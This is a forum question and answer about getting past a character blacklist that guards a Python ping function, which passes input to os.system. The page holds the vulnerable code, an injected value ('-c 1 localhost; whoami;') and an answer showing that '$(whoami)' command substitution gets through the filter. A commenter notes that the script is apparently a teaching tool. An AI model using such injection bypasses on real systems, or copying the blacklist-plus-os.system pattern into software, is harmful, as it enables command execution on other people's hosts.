3

I have "blackbox" with the following python function code (without permission to change it):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Invalid characters')
            exit()
    os.system('ping ' + command)

I want to execute this function with the following command input:

-c 1 localhost; whoami;

To get this command to be running:

ping -c 1 localhost; whoami;

How can I bypass the forbidden characters check? Can I use another characters/encoding?

Improve this question
1
  • 1
    Side note: This script (which is presumably a teaching tool) is a great demonstration of why whitelisting or explicit type deserialization is better than blacklist attempts - parsing out an IP address (v4 or v6) would be both easier, faster (given the nested loops), and additionally more secure.
    – Clockwork-Muse
    Aug 2, 2019 at 17:55

1 Answer 1

Reset to default
5

$(whoami) should bypass the filter and executes whoami.

Improve this answer
0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .